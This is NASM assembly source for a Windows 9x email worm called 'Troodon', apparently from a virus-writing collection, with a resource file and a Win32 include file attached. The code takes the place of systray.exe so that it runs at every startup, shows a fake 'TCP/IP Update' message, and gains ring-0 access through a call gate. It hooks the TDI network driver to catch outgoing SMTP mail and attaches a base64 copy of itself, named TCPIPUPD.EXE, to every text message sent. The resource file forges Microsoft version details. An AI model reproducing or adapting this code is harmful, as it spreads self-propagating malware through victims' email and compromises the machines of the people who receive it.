jne .not_systray
jmp .systray

.not_systray: ; it isn't installed in the system, so install it


; copy myself into 'systray.me'
push dword 0
push dword systray.me
push dword my_path
call CopyFileA

; write wininit.ini, so next time windows will start it will


; rename systray.exe into systray.sys and systray.me into systray.exe
push dword wininit.ini
push dword systray.exe
push dword systray.sys
push dword rename
call WritePrivateProfileStringA

push dword wininit.ini


push dword systray.me
push dword systray.exe
push dword rename
call WritePrivateProfileStringA

push dword 0x00000030


push dword msgCaption
push dword msgContent
push dword 0
call MessageBoxA
jmp .systray_over

.systray: ; run the original systray.exe (systray.sys)


push dword 0
push dword systray.sys
call WinExec

.systray_over:
; signature
mov eax, 0xC000E990 ; check if already there
cmp dword [eax], 'WORM'

; if not resident, goto not_res


jne not_res

; else get out


jmp out_of_here

not_res: ; jump into ring0

mov esi, Ring0Proc


call callgate

; free the allocated mem


call close_encode

out_of_here:; job done, time to let it go


popad
ret

;------------------------------------------------------------
; Ring0Proc
;------------------------------------------------------------
Ring0Proc pushf
pushad

; calculate code size


mov eax, end
sub eax, start
add eax, 0x100
mov [codesize], eax

; alloc mem for encoded file


VxDCall _HeapAllocate, dword [encoded_size], dword HEAPZEROINIT
mov [heap_enc_addr], eax

; copy it there
mov esi, dword [encoded_addr]
mov edi, eax
mov ecx, dword [encoded_size]
repz movsb

; alloc some memory


VxDCall IFSMgr_GetHeap, dword [codesize]
mov [codeaddr], eax

; copy the code


mov esi, start
mov edi, eax
mov ecx, [codesize]
repz movsb

; make the hooks and stay in there


mov eax, [codeaddr]
add eax, heap_code - start
call eax

.exit: ; time to say good bye


popad
popf
retf

;------------------------------------------------------------
; This code will be executed only in heap
;------------------------------------------------------------
heap_code: pushf
pushad

mov eax, 0xC000E990 ; mark "already there"


mov dword [eax], 'WORM'
call TdiHook

popad
popf
ret

;------------------------------------------------------------
; TdiHook
;------------------------------------------------------------
TdiHook: ; now i need to hook the TDI functions i need
pushad

mov ebp, [codeaddr]


sub ebp, start

; Make sure VTDI is present


VxDCall VTDI_Get_Version
jnc .cont_1
jmp .exit
.cont_1:

; Get a pointer to TCP dispatch table


lea eax, [ebp + TCPName]
push eax
VxDCall VTDI_Get_Info
add esp, 4

; Save the address of dispatch table


lea esi, [ebp + TdiDispatchTable]
mov [esi], eax
cmp eax, 0
; if error get out
jne .cont_2
jmp .exit
.cont_2:

; ---------- Hook TdiConnect ----------


mov ebx, [eax + 0x18]
lea esi, [ebp + TdiConnect_PrevAddr]
mov [esi], ebx

; patch some things in it


lea edi, [ebp + TdiConnect_Jmp]
mov [edi], esi

lea edi, [ebp + TdiConnect_Delta]


mov esi, [codeaddr]
mov [edi], esi

lea ebx, [ebp + TdiConnect_Hook]


mov [eax + 0x18], ebx

; ---------- Hook TdiSend ----------


mov ebx, [eax + 0x2C]
lea esi, [ebp + TdiSend_PrevAddr]
mov [esi], ebx

; patch some things in it


lea edi, [ebp + TdiSend_Jmp]
mov [edi], esi

lea edi, [ebp + TdiSend_Delta]


mov esi, [codeaddr]
mov [edi], esi

lea ebx, [ebp + TdiSend_Hook]


mov [eax + 0x2C], ebx

; ---------- Hook TdiDisconnect ----------


mov ebx, [eax + 0x1C]
lea esi, [ebp + TdiDisconnect_PrevAddr]
mov [esi], ebx

; patch some things in it


lea edi, [ebp + TdiDisconnect_Jmp]
mov [edi], esi

lea edi, [ebp + TdiDisconnect_Delta]


mov esi, [codeaddr]
mov [edi], esi

lea ebx, [ebp + TdiDisconnect_Hook]


mov [eax + 0x1C], ebx

; ---------- Hook TdiCloseConnection ----------


mov ebx, [eax + 0x0C]
lea esi, [ebp + TdiCloseConnection_PrevAddr]
mov [esi], ebx

; patch some things in it


lea edi, [ebp + TdiCloseConnection_Jmp]
mov [edi], esi

lea edi, [ebp + TdiCloseConnection_Delta]


mov esi, [codeaddr]
mov [edi], esi

lea ebx, [ebp + TdiCloseConnection_Hook]


mov [eax + 0x0C], ebx

.exit: popad
ret

;------------------------------------------------------------
; TdiConnect_Hook
;------------------------------------------------------------
TdiConnect_Hook:; MOV EDI, <address_of_code_in_heap>
db 0xBF
TdiConnect_Delta:dd 0
sub edi, start

push ebp
mov ebp, esp

pushf
pushad

mov esi, [ebp + 0x10] ; esi = *RequestAddr


mov esi, [esi + 0x14] ; esi = *RemoteAddr
cmp word [esi + 0x06], 2 ; TDI_ADDRESS_TYPE_IP
jne TdiConnect_Hook_Jmp

; check if the connection is to an SMTP server


mov ax, word [esi + 0x08]
cmp ax, 0x1900 ; smtp ?
je .smtp_on

; if not, get out


jmp TdiConnect_Hook_Jmp

.smtp_on: ;mov byte [edi + Trace], 1


mov eax, [ebp + 0x08]
mov eax, [eax]
mov dword [edi + TraceHandle], eax

TdiConnect_Hook_Jmp:
popad
popf

pop ebp

; jmp [TdiConnect_Jmp]
db 0xFF, 0x25
TdiConnect_Jmp: dd 0

;------------------------------------------------------------
; TdiSend_Hook
;------------------------------------------------------------
TdiSend_Hook:
push ebp
mov ebp, esp

pushf
pushad

; MOV EDI, <address_of_code_in_heap>


db 0xBF
TdiSend_Delta: dd 0
sub edi, start

; check if we trace the correct connection


mov eax, [ebp + 0x08]
mov eax, [eax]
cmp [edi + TraceHandle], eax
je .jump_over
jmp .exit
.jump_over:
; so we are tracing our SMTP connection
; get the buffer length and address

mov ebx, [ebp + 0x10]


mov eax, [ebp + 0x14] ; eax = *SendBuffer
mov esi, [eax + 0x04] ; esi = source buffer
mov ecx, [eax + 0x0C] ; ecx = length
mov [edi + sourcebuf], esi
mov [edi + buflen], ecx

; check NextIsMail flag


cmp byte [edi + NextIsMail], 1
je .Mail

lea edx, [edi + search_str]


call strncmpi

test eax, eax


je .pass_1
jmp .exit
.pass_1:
; set NextIsMail flag
; This flag is set when the DATA instruction for SMTP server is sent.
; DATA command is sent before sending the mail body.
mov byte [edi + NextIsMail], 1

jmp .exit

.Mail: ; reset NextIsMail flag


mov byte [edi + NextIsMail], 0

; search in the mail for "Content-Type" string


; ESI = buffer source
; ECX = buffer length

lea edx, [edi + strContentType]


push esi ; save ESI
push edx ;
pop esi ; ESI = EDX
call strlen
pop esi ; restore ESI
push eax ;
pop ecx ; ECX = EAX

mov ebx, [edi + buflen]


.next: call strncmpi
test eax, eax
jz .found_1
inc esi
dec ebx
test ebx, ebx
jz .not_found_1
jmp .next

.not_found_1:
jmp .exit

.found_1: mov [edi + mark1], esi ; save the position of "Content-Type" witch is the
begin of the text mail

add esi, ecx


cmp byte [esi], ' '
jne .pass_2
inc esi

.pass_2: ; ESI points after "Content-Type:"


; check if Content-Type is text/plain -> this mean the e-mail is a simple text mail
lea edx, [edi + strTextPlain]
push esi
push edx
pop esi
call strlen
push eax
pop ecx
pop esi

call strncmpi
test eax, eax
jne .not_textplain
mov byte [edi + mailtype], 1 ; text/plain
jmp .go_for_it

.not_textplain:
lea edx, [edi + strMultipartAlternative]
push esi
push edx
pop esi
call strlen
push eax
pop ecx
pop esi

call strncmpi
test eax, eax
jne .not_multipartalternative
mov byte [edi + mailtype], 2 ; text/plain + text/html
jmp .go_for_it

.not_multipartalternative:
lea edx, [edi + strMultipartMixed]
push esi
push edx
pop esi
call strlen
push eax
pop ecx
pop esi

call strncmpi
test eax, eax
jne .not_multipartmixed
mov byte [edi + mailtype], 3 ; text + probably attachement
; jmp .go_for_it
.not_multipartmixed:
jmp .exit
.go_for_it: ; EIP reached here if the e-mail is text/plain
; find the end of mail and save it
mov esi, [edi + sourcebuf]
.again_1: cmp byte [esi], 0
je .found_2
inc esi
jmp .again_1
.found_2: mov [edi + mark2], esi

; Get some memory for the new e-mail


mov ecx, [edi + buflen]
; add ecx, [edi + newmaillen]
add ecx, 15000
VMMcall _HeapAllocate, ecx, dword HEAPZEROINIT
test eax, eax
jnz .pass_3
jmp .exit
.pass_3: mov [edi + newmailaddr], eax

; copy until original "Content-Type"


mov esi, [edi + sourcebuf]
mov edx, eax
mov ecx, [edi + mark1]
sub ecx, esi
call strncpy
add edx, ecx

; copy my multipart/mixed header


lea esi, [edi + myMultipartMixed]
call strlen
mov ecx, eax
call strncpy
add edx, ecx

; copy my boundary name


lea esi, [edi + myBoundary]
call strlen
mov ecx, eax
call strncpy
add edx, ecx

; copy my used boundary name


lea esi, [edi + myUseBoundary]
call strlen
mov ecx, eax
call strncpy
add edx, ecx

; copy original mail


mov esi, [edi + mark1]
mov ecx, [edi + mark2]
sub ecx, esi
call strncpy
add edx, ecx

; copy my used boundary name


lea esi, [edi + myUseBoundary]
call strlen
mov ecx, eax
call strncpy
add edx, ecx
; copy attachement header
lea esi, [edi + myAttachHeader]
call strlen
mov ecx, eax
call strncpy
add edx, ecx

; base64 encoded file copy


mov esi, [edi + heap_enc_addr]
mov ecx, [edi + encoded_size]
call strncpy
add edx, ecx

; close boundary
lea esi, [edi + myEndBoundary]
call strlen
mov ecx, eax
call strncpy

; set new source buffer address


mov esi, [ebp + 0x14] ; eax = *SendBuffer
mov eax, [edi + newmailaddr]
mov [esi + 0x04], eax ; source buffer
; set new buffer length
push esi
mov esi, [edi + newmailaddr]
call strlen
pop esi

mov ebx, esi


add ebx, eax
cmp byte [ebx], 0
jne .set_len
dec eax
.set_len: mov [esi + 0x0C], eax ; buffer length
mov [ebp + 0x10], eax ; buffer length

.exit: popad
popf

pop ebp

; jmp [TdiSend_Jmp]
db 0xFF, 0x25
TdiSend_Jmp dd 0

;------------------------------------------------------------
; TdiDisconnect_Hook
;------------------------------------------------------------
TdiDisconnect_Hook:
push ebp
mov ebp, esp

pushf
pushad

; MOV EDI, <address_of_code_in_heap>


db 0xBF
TdiDisconnect_Delta:
dd 0
sub edi, start
; check if disconnecting our connection
mov eax, [edi + TraceHandle]
cmp [ebp + 0x08], eax
jne .exit

; free the memory


mov eax, [edi + newmailaddr]
VMMcall _HeapFree, eax, dword 0

.exit: popad
popf

pop ebp

; jmp [TdiDisconnect_Jmp]
db 0xFF, 0x25
TdiDisconnect_Jmp:dd 0

;------------------------------------------------------------
; TdiCloseConnection_Hook
;------------------------------------------------------------
TdiCloseConnection_Hook:
push ebp
mov ebp, esp

pushf
pushad

; MOV EDI, <address_of_code_in_heap>


db 0xBF
TdiCloseConnection_Delta:
dd 0
sub edi, start

; check if closing our connection


mov eax, [edi + TraceHandle]
cmp [ebp + 0x08], eax
jne .exit

; free the memory


mov eax, dword [edi + newmailaddr]
VMMcall _HeapFree, eax, dword 0

.exit: popad
popf

pop ebp

; jmp [TdiCloseConnection_Jmp]
db 0xFF, 0x25
TdiCloseConnection_Jmp:
dd 0

;------------------------------------------------------------
; String comparation non case sensitive
;------------------------------------------------------------
; Params:
; ESI = source
; EDX = destination
; ECX = length
; Return:
; EAX = 0 if strings match
; EAX = 1 if not match
;------------------------------------------------------------
strncmpi: pushf
pushad

.loop: mov ah, byte [esi]


mov al, byte [edx]

; if Caps Lock the make it non Caps


cmp ah, 0x41 ; 'A'
jge .great_then_A
jmp .done_with_1
.great_then_A:
cmp ah, 0x5A ; 'Z'
jbe .less_then_Z
jmp .done_with_1
.less_then_Z:
add ah, 0x20

.done_with_1:
; if Caps Lock the make it non Caps
cmp al, 0x41 ; 'A'
jge .great_then_A_2
jmp .done
.great_then_A_2:
cmp al, 0x5A ; 'Z'
jbe .less_then_Z_2
jmp .done
.less_then_Z_2:
add al, 0x20

.done: ; now it should be lower case


cmp ah, al
jne .not_match

inc esi
inc edx
loop .loop

; if we are here then the strings are identical


popad
popf
xor eax, eax
jmp .exit

.not_match: ; if we are here then the strings are not identical


popad
popf
mov eax, 1
.exit: ret

;------------------------------------------------------------
; String length
;------------------------------------------------------------
; Params:
; ESI = source
; Return:
; EAX = length
;------------------------------------------------------------
strlen: push ebx
push ecx
push edx
push esi
push edi
push ebp

xor ecx, ecx


.not_zero: mov al, byte [esi]
cmp al, 0
je .exit
inc esi
inc ecx
jmp .not_zero
.exit: mov eax, ecx

pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

;------------------------------------------------------------
; String copy (length specified)
;------------------------------------------------------------
; Params:
; ESI = source
; EDX = destination
; ECX = length
;------------------------------------------------------------
strncpy: pushf
pushad
cld
mov edi, edx
repz movsb
.exit: popad
popf
ret

;------------------------------------------------------------
; Encode in base64 the file
;------------------------------------------------------------
; Params:
; ESI = source filename
; Return:
; EAX = address of encoded buffer
; ECX = size of encoded file
;------------------------------------------------------------
encode: pushad

; copy it, so we have read-write access


; (if the program is started then we have readonly access)
push dword 0
push dword tempFileName
push esi
call CopyFileA
mov esi, tempFileName

; open file
push dword 0
push dword 0
push dword 3
push dword 0
push dword 1
push dword 0xC0000000 ; GENERIC_READ | GENERIC_WRITE
push esi
call CreateFileA
mov dword [hFile], eax

; get file size


push dword 0
push eax
call GetFileSize
mov dword [dwFileSize], eax

; pad the file with [0,2] zeroes


; add [0,2] to file size
xor edx, edx
mov ebx, 0x00000003
div ebx

; remainder 0 ? (div by 3?)


mov dword [pad_no], 0
test edx, edx
je .size_ok

mov dword [pad_no], edx


add dword [dwFileSize], edx

; dwBufSize = dwFileSize * 3 (base64 may be 3 times bigger then the original)


mov eax, [dwFileSize]
mov edx, 0x00000003
mul edx
mov dword [dwBufSize], eax
jmp .fixed_size

.size_ok: mov eax, [dwFileSize]


mov edx, 0x00000003
mul edx
mov dword [dwBufSize], eax

.fixed_size: ; alloc some memory


push dword 0x00000004
push dword 0x00001000
push dword [dwBufSize]
push dword 0x00000000
call VirtualAlloc
test eax, eax
jne .pass_1
jmp .exit
.pass_1: mov dword [encoded_addr], eax

; create file mapping


push dword 0
push dword [dwFileSize]
push dword 0
push dword 0x00000004 ; PAGE_READWRITE
push dword 0
push dword [hFile]
call CreateFileMappingA
mov dword [hMap], eax

; map view of file


push dword [dwFileSize]
push dword 0
push dword 0
push dword 0x00000002 ; FILE_MAP_WRITE
push eax
call MapViewOfFile
mov dword [pMap], eax

mov ecx, dword [pad_no]


test ecx, ecx
je .size_ok_2

mov esi, eax


add esi, dword [dwFileSize]
sub esi, ecx

.loop_2: mov byte [esi], '0'


dec ecx
test ecx, ecx
jne .loop_2

.size_ok_2: ; start encoding


mov eax, dword [pMap]
mov edx, dword [encoded_addr]
mov ecx, dword [dwFileSize]
add ecx, dword [pad_no]

xor esi, esi


mov edi, encTable

.loop: xor ebx, ebx


mov bl, byte [eax]
shr bl, 2
and bl, 00111111b
mov bh, byte [edi + ebx]
mov byte [edx + esi], bh
inc esi

mov bx, word [eax]


xchg bl, bh
shr bx, 4
mov bh, 0
and bl, 00111111b
mov bh, byte [edi + ebx]
mov byte [edx + esi], bh
inc esi

inc eax
mov bx, word [eax]
xchg bl, bh
shr bx, 6
mov bh, 0
and bl, 00111111b
mov bh, byte [edi + ebx]
mov byte [edx + esi], bh
inc esi

inc eax
xor ebx, ebx
mov bl, byte [eax]
and bl, 00111111b
mov bh, byte [edi + ebx]
mov byte [edx + esi], bh
inc esi
inc eax

sub ecx, 3
cmp ecx, 0
jne .loop

mov dword [encoded_size], esi

push dword [pMap]


call UnmapViewOfFile

push dword [hMap]


call CloseHandle

push dword [hFile]


call CloseHandle

.exit: push dword tempFileName


call DeleteFileA

popad
mov eax, dword [encoded_addr]
mov ecx, dword [encoded_size]
ret

;------------------------------------------------------------
; Close encode (free allocated memory)
;------------------------------------------------------------
close_encode: pushad
push dword [encoded_addr]
push dword 0x00000000
push dword 0x00008000
call VirtualFree
popad
ret

;------------------------------------------------------------
; Ring 0 Callgate
;------------------------------------------------------------

CGS equ 8

callgate: pushad
push ebx
sgdt [esp - 0x02]
pop ebx
xor eax, eax
sldt ax
and al, 0xF8

add ebx, eax

mov ch, byte [ebx + 0x07]


mov cl, byte [ebx + 0x04]
shl ecx, 0x10
mov cx, word [ebx + 0x02]

lea edi, [ecx + CGS]


cld

mov eax, esi


stosw
mov eax, 0xEC000028
stosd
shld eax, esi, 0x10
stosw

popad

db 0x9A ; call 28:<esi>


dd 0 ; unused
dw CGS+100b+11b ; LDT+R3

ret

;------------------------------------------------------------
; Check if systray
;------------------------------------------------------------
check_systray:
pushad

; check if in the name already exists 'systray.exe' witch means


; it is already installed in the system
mov esi, my_path
mov edx, systray_exe
mov ecx, dword [systray_exe_len]
mov ebx, 300
sub ebx, dword [systray_exe_len]

.systray_again:
call strncmpi
dec ebx
test ebx, ebx
je .not_systray
inc esi
test eax, eax
jne .systray_again
jmp .systray

.not_systray:
popad
mov byte [systray_ornot], 0
ret

.systray: popad
mov byte [systray_ornot], 1
ret

;------------------------------------------------------------
; Make paths for use in installation etc.
;------------------------------------------------------------
make_paths: pushad
push dword 260
push dword systray.exe
call GetSystemDirectoryA

push dword 260


push dword systray.sys
call GetSystemDirectoryA

push dword 260


push dword systray.me
call GetSystemDirectoryA

push dword systray.exe_


push dword systray.exe
call lstrcatA

push dword systray.sys_


push dword systray.sys
call lstrcatA

push dword systray.me_


push dword systray.me
call lstrcatA

popad
ret

;beep: pushad
; mov ax, 1000
; mov bx, 200
; mov cx, ax
; mov al, 0xB6
; out 0x43, al
; mov dx, 0x0012
; mov ax, 0x34DC
; div cx
; out 0x42, al
; mov al, ah
; out 0x42, al
; in al, 0x61
; mov ah, al
; or al, 0x03
; out 0x61, al
;l1: mov ecx, 4680
;l2: loop l2
; dec bx
; jnz l1
; mov al, ah
; out 0x61, al
;
; popad
; ret

[section .data]
my_path times 300 db 0
path_len dd 300
systray.exe times 260 db 0
systray.exe_ db '\systray.exe', 0
systray.sys times 260 db 0
systray.sys_ db '\systray.sys', 0
systray.me times 260 db 0
systray.me_ db '\systray.me', 0
wininit.ini db 'wininit.ini', 0
rename db 'Rename', 0
systray_exe db 'SYSTRAY.EXE', 0
systray_exe_len dd 11 ; size of the string above
tempFileName db '\systray.tmp', 0
systray_ornot db 0 ; 0 - "myself" isn't systray.exe :)
; 1 - "myself" is systray.exe :)
msgCaption db 'Windows TCP/IP Update', 0
msgContent db "The system doesn't need an update.", 13, 10
db 'Latest version of TCP/IP already present.', 0

hFile dd 0
hMap dd 0
pMap dd 0
dwFileSize dd 0
dwBufSize dd 0
encoded_addr dd 0
heap_enc_addr dd 0
encoded_size dd 0
encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
pad db '='
pad_no dd 0
mailtype db 0

codeaddr dd 0
codesize dd 0

TCPName db 'MSTCP', 0
TdiDispatchTable dd 0
TdiConnect_PrevAddr dd 0
TdiSend_PrevAddr dd 0
TdiDisconnect_PrevAddr dd 0
TdiCloseConnection_PrevAddr dd 0
TraceHandle dd 0
NextIsMail db 0
sourcebuf dd 0
buflen dd 0
search_str db 'DATA', 0x0D, 0x0A, 0
newmailaddr dd 0
;newmaillen dd 0

strContentType db 'Content-Type:', 0
strMultipartAlternative db 'multipart/alternative', 0
strMultipartMixed db 'multipart/mixed', 0
strTextPlain db 'text/plain', 0
strTextHtml db 'text/html', 0
strApp db 'application/x-msdownload', 0

mark1 dd 0
mark2 dd 0

myMultipartMixed db 'Content-Type: multipart/mixed;', 13, 10, 0


myBoundary db 9, 'boundary="----This_is_created_by_VX_e-mail_service"', 13, 10, 0
myUseBoundary db 13, 10, '------This_is_created_by_VX_e-mail_service', 13, 10, 0
myAttachHeader db 'Content-Type: application/x-msdownload;', 13, 10
db 9, 'name="TCPIPUPD.EXE"', 13, 10
db 'Content-Transfer-Encoding: base64', 13, 10
db 'Content-Disposition: attachement;', 13, 10
db 9, 'filename="TCPIPUPD.EXE"', 13, 10, 13, 10, 0
myEndBoundary db 13, 10, '------This_is_created_by_VX_e-mail_service--', 13, 10, 0

hWnd dd 0
WindowHandle dd 0
ClassName db 'I-Worm', 0
WindowTitle db 'Troodon', 0
x dd step
y dd step
rect: ISTRUC RECT
at RECT.left, dd 0
at RECT.top, dd 0
at RECT.right, dd 0
at RECT.bottom, dd 0
IEND

WindowClassStruc:
ISTRUC WNDCLASS
at WNDCLASS.style, dd 0
at WNDCLASS.lpfnWndProc, dd WndProc
at WNDCLASS.cbClsExtra, dd 0
at WNDCLASS.cbWndExtra, dd 0
at WNDCLASS.hInstance, dd 0
at WNDCLASS.hIcon, dd NULL
at WNDCLASS.hCursor, dd NULL
at WNDCLASS.hbrBackground, dd 1
at WNDCLASS.lpszMenuName, dd NULL
at WNDCLASS.lpszClassName, dd ClassName
IEND

WindowMSG:
ISTRUC MSG
at MSG.hwnd, dd 0
at MSG.message, dd 0
at MSG.wParam, dd 0
at MSG.lParam, dd 0
at MSG.time, dd 0
IEND

STime:
ISTRUC SYSTEMTIME
at SYSTEMTIME.wYear, dw 0
at SYSTEMTIME.wMonth, dw 0
at SYSTEMTIME.wDayOfWeek, dw 0
at SYSTEMTIME.wDay, dw 0
at SYSTEMTIME.wHour, dw 0
at SYSTEMTIME.wMinute, dw 0
at SYSTEMTIME.wSecond, dw 0
at SYSTEMTIME.wMilliseconds, dw 0
IEND

copyright db 'I-Worm.Win9X.Troodon v1.0 Project', 13, 10


db 'Developed by Clau.', 0

end:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TROODON.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TROODON.RC]ÄÄÄ
#define IDI_ICON 100
IDI_ICON ICON <v.ico>

1 VERSIONINFO
FILEVERSION 1,0,0,0
PRODUCTVERSION 1,0,0,0
FILEFLAGSMASK 0x0000003FL
FILEFLAGS 0x0000000BL
FILEOS 0x00010001L
FILETYPE 0x00000001L
FILESUBTYPE 0x00000000L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904E4"
BEGIN
VALUE "FileDescription","TCP/IP Update for Microsoft Windows 95/98\0"
VALUE "FileVersion", "6.6.6\0"
VALUE "LegalCopyright", "Copyright (C) Microsoft Corp. 1999-2000\0"
VALUE "CompanyName", "Microsoft Corporation\0"
VALUE "InternalName","TCPIPUPD\0"
VALUE "OriginalFilename", "TCPIPUPD.EXE\0"
VALUE "ProductName","Microsoft(R) Windows NT(R) Operating System\0"
VALUE "ProductVersion", "6.6.6\0"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409,1252
END
END
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TROODON.RC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WIN32N.INC]ÄÄÄ
; Win32.inc for NASM 1999 version 0.06 by Tamas Kaproncai [tomcat@szif.hu]

; Greetings to everyone on the windows.inc scene:


; Sven B. Schreiber, Philippe Auphelle, Gij, Iczelion,
; Steve Hutchesson, Barry Kauler, Wayne Radburn...

;-----------------------------data types----------------------------------
%define ACHAR BYTE ;ansi character
%define ATOM DWORD ;string atom
%define BOOL DWORD ;boolean variable
%define COLORREF DWORD ;rgb color
%define DWORDLONG QWORD ;long double word
%define GLOBALHANDLE DWORD ;global handle
%define HACCEL DWORD ;accelerator handle
%define HANDLE DWORD ;unspecified handle
%define HBITMAP DWORD ;bitmap handle
%define HBRUSH DWORD ;brush handle
%define HCOLORSPACE DWORD ;color space handle
%define HCURSOR DWORD ;cursor handle
%define HDC DWORD ;device context handle
%define HDWP DWORD ;defer win pos handle
%define HENHMETAFILE DWORD ;enh. metafile handle
%define HFILE DWORD ;file handle
%define HFONT DWORD ;font handle
%define HGLOBAL DWORD ;global handle
%define HHOOK DWORD ;hook handle
%define HICON DWORD ;icon handle
%define HINSTANCE DWORD ;instance handle
%define HINTERNET DWORD ;internet handle
%define HLOCAL DWORD ;local handle
%define HMENU DWORD ;menu handle
%define HMETAFILE DWORD ;metafile handle
%define HPALETTE DWORD ;palette handle
%define HPEN DWORD ;pen handle
%define HRGN DWORD ;region handle
%define HRSRC DWORD ;resource handle
%define HSTR DWORD ;string handle
%define HTASK DWORD ;task handle
%define HTREEITEM DWORD ;tree view item handle
%define HWND DWORD ;window handle
%define INTEGER DWORD ;standard integer
%define LOCALHANDLE DWORD ;local handle
%define LONG DWORD ;long integer
%define LONGINT DWORD ;long integer
%define LPARAM DWORD ;long parameter
%define LPBOOL DWORD ;long ptr to boolean
%define LPBYTE DWORD ;long ptr to byte
%define LPCSTR DWORD ;long ptr to string
%define LPCTSTR DWORD ;long ptr to string
%define LPCVOID DWORD ;long ptr to buffer
%define LPDWORD DWORD ;long ptr to dword
%define LPFN DWORD ;long ptr to function
%define LPINT DWORD ;long ptr to integer
%define LPLONG DWORD ;long ptr to long int
%define LPMSG DWORD ;long pointer to message
%define LPPAINTSTRUCT DWORD ;long pointer to paint structure
%define LPRECT DWORD ;long pointer to rectangle
%define LPSTR DWORD ;long ptr to string
%define LPTSTR DWORD ;long ptr to string
%define LPVOID DWORD ;long ptr to buffer
%define LPWORD DWORD ;long ptr to word
%define LRESULT DWORD ;long result
%define POINTER DWORD ;pointer to anything
%define PVOID DWORD ;pointer to buffer
%define SHORTINT WORD ;short integer
%define UINT DWORD ;unsigned integer
%define WCHAR WORD ;unicode character
%define WNDPROC DWORD ;window procedure
%define WPARAM DWORD ;word parameter

;-------------------------WindowProc macros-------------------------------

%MACRO StartWindowProc 0
PUSH EBP
MOV EBP,ESP
%DEFINE hwnd EBP+8
%DEFINE uMsg EBP+12
%DEFINE wParam EBP+16
%DEFINE lParam EBP+20
%ENDMACRO

%MACRO EndWindowProc 0
POP EBP
RETN 16
%ENDMACRO

;-------------------------win32api equates-------------------------------
WINAPI equ 1
TRUE equ 1
FALSE equ 0
NULL equ 0
Normal equ 000000h
ReadOnly equ 000001h
Hidden equ 000010h
System equ 000100h
vLabel equ 001000h
SubDir equ 010000h
Archive equ 100000h
Black equ 000000h
Blue equ 0FF0000h
Green equ 00FF00h
Cyan equ 0FFFF00h
Red equ 0000FFh
Magenta equ 0FF00FFh
Yellow equ 00FFFFh
White equ 0FFFFFFh
Gray equ 080808h
ANYSIZE_ARRAY equ 1
INVALID_HANDLE_VALUE equ -1
DELETE equ 10000h
READ_CONTROL equ 20000h
WRITE_DAC equ 40000h
WRITE_OWNER equ 80000h
SYNCHRONIZE equ 100000h
STANDARD_RIGHTS_READ equ READ_CONTROL
STANDARD_RIGHTS_WRITE equ READ_CONTROL
STANDARD_RIGHTS_EXECUTE equ READ_CONTROL
STANDARD_RIGHTS_REQUIRED equ 0F0000h
STANDARD_RIGHTS_ALL equ 1F0000h
SPECIFIC_RIGHTS_ALL equ 0FFFFh
SID_REVISION equ 1
SID_MAX_SUB_AUTHORITIES equ 15
SID_RECOMMENDED_SUB_AUTHORITIES equ 1
SidTypeUser equ 1
SidTypeGroup equ 2
SidTypeDomain equ 3
SidTypeAlias equ 4
SidTypeWellKnownGroup equ 5
SidTypeDeletedAccount equ 6
SidTypeInvalid equ 7
SidTypeUnknown equ 8
SECURITY_NULL_RID equ 0h
SECURITY_WORLD_RID equ 0h
SECURITY_LOCAL_RID equ 0h
SECURITY_CREATOR_OWNER_RID equ 0h
SECURITY_CREATOR_GROUP_RID equ 1h
SECURITY_DIALUP_RID equ 1h
SECURITY_NETWORK_RID equ 2h
SECURITY_BATCH_RID equ 3h
SECURITY_INTERACTIVE_RID equ 4h
SECURITY_SERVICE_RID equ 6h
SECURITY_ANONYMOUS_LOGON_RID equ 7h
SECURITY_LOGON_IDS_RID equ 5h
SECURITY_LOCAL_SYSTEM_RID equ 12h
SECURITY_NT_NON_UNIQUE equ 15h
SECURITY_BUILTIN_DOMAIN_RID equ 20h
DOMAIN_USER_RID_ADMIN equ 1F4h
DOMAIN_USER_RID_GUEST equ 1F5h
DOMAIN_GROUP_RID_ADMINS equ 200h
DOMAIN_GROUP_RID_USERS equ 201h
DOMAIN_GROUP_RID_GUESTS equ 202h
DOMAIN_ALIAS_RID_ADMINS equ 220h
DOMAIN_ALIAS_RID_USERS equ 221h
DOMAIN_ALIAS_RID_GUESTS equ 222h
DOMAIN_ALIAS_RID_POWER_USERS equ 223h
DOMAIN_ALIAS_RID_ACCOUNT_OPS equ 224h
DOMAIN_ALIAS_RID_SYSTEM_OPS equ 225h
DOMAIN_ALIAS_RID_PRINT_OPS equ 226h
DOMAIN_ALIAS_RID_BACKUP_OPS equ 227h
DOMAIN_ALIAS_RID_REPLICATOR equ 228h
SE_GROUP_MANDATORY equ 1h
SE_GROUP_ENABLED_BY_DEFAULT equ 2h
SE_GROUP_ENABLED equ 4h
SE_GROUP_OWNER equ 8h
SE_GROUP_LOGON_ID equ 0C0000000h
FILE_BEGIN equ 0
FILE_CURRENT equ 1
FILE_END equ 2
FILE_FLAG_WRITE_THROUGH equ 80000000h
FILE_FLAG_OVERLAPPED equ 40000000h
FILE_FLAG_NO_BUFFERING equ 20000000h
FILE_FLAG_RANDOM_ACCESS equ 10000000h
FILE_FLAG_SEQUENTIAL_SCAN equ 8000000h
FILE_FLAG_DELETE_ON_CLOSE equ 4000000h
FILE_FLAG_BACKUP_SEMANTICS equ 2000000h
FILE_FLAG_POSIX_SEMANTICS equ 1000000h
CREATE_NEW equ 1
CREATE_ALWAYS equ 2
OPEN_EXISTING equ 3
OPEN_ALWAYS equ 4
TRUNCATE_EXISTING equ 5
